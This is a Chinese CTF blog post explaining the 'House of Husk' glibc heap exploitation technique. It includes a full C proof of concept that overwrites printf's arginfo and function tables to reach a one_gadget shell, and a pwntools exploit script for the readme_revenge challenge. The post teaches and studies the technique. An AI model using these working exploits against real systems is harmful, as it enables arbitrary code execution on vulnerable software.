【pwn】house of husk

1、house of husk

源码分析见参考链接1,可以理解为 printf 针对不同的第一个格式化字符的 vtable,目标就是满足执行此处的条件,同时修改 table 中格式化字符对应的指针处为 onegadget,最后 printf("%格式化字符", 0) 来触发。具体调试 poc.c :

/**
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
*/
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA       0x3afc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST  0x3b1940
#define PRINTF_FUNCTABLE 0x3b4658
#define PRINTF_ARGINFO   0x3b0870
#define ONE_GADGET       0xdeec2

int main (void)
{
	unsigned long libc_base;
	char *a[10];
	setbuf(stdout, NULL); // make printf quiet

	/* leak libc */
	a[0] = malloc(0x500); /* UAF chunk */
	a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
	a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
	a[3] = malloc(0x500); /* avoid consolidation */
	free(a[0]);
	libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
	printf("libc @ 0x%lxn", libc_base);

	/* prepare fake printf arginfo table */
	*(unsigned long*)(a[2] + ('S' - 2) * 8) = libc_base + ONE_GADGET;
	//*(unsigned long*)(a[1] + ('S' - 2) * 8) = libc_base + ONE_GADGET;
	//now __printf_arginfo_table['X'] = one_gadget;

	/* unsorted bin attack */
	*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
	a[0] = malloc(0x500); /* overwrite global_max_fast */

	/* overwrite __printf_arginfo_table and __printf_function_table */
	free(a[1]);// __printf_function_table => a heap_addr which is not NULL
	free(a[2]);//__printf_arginfo_table => one_gadget

	/* ignite! */
	printf("%S", 0);

	return 0;
}

由于利用到的两个 table 的地址在 libc 中均在 main_arena 下面,所以可以采用 xx attack 打 global_max_fast,使计算好 size 的 fastbin free 到目标地址,将堆地址写到这两个地方,其中 printf_arginfo_tabel 对应的位置布置好 onegadget,即 getshell。如果利用 printf_function_table 同样原理,布置 onegadget 的时候如下即可:

//*(unsigned long*)(a[1] + ('S' - 2) * 8) = libc_base + ONE_GADGET;

在这里插入图片描述
在这里插入图片描述
效果:
在这里插入图片描述

2、例题 readme_revenge

在这里插入图片描述
程序逻辑很简单,漏洞点肯定在 printf 里。因为程序会调用 arginfo_table[‘s’] 处的函数,所以在这里布置为 stack_chk_fail 的地址,其第一个参数 argv 也在下面可以覆盖到,即 flag 的地址,这样就能通过 stack_chk_fail 来打印 flag。
在这里插入图片描述
调试的时候加上源码调试。

#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='info')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./readme_revenge')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./readme_revenge')

else:
    libc = ELF('./libc_local')
    p = remote('f.buuoj.cn',20173)

printf_function_table = 0x6b7a28
printf_arginfo_table = 0x6b7aa8
input_addr = 0x6b73e0
stack_chk_fail = 0x4359b0
flag_addr = 0x6b4040
argv_addr = 0x6b7980

def exp():
    #leak libc
    #gdb.attach(p,'b* 0x400a51')
    payload = p64(flag_addr)
    payload = payload.ljust(0x73*8,'\x00')
    payload += p64(stack_chk_fail)
    payload = payload.ljust(argv_addr-input_addr,'\x00')
    payload += p64(input_addr)#arg
    payload = payload.ljust(printf_function_table-input_addr,'\x00')
    payload += p64(1)#func not null
    payload = payload.ljust(printf_arginfo_table-input_addr,'\x00')
    payload += p64(input_addr)#arginfo func
    #raw_input()
    p.sendline(payload)
    p.interactive()

exp()

参考:
【1】
【2】

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值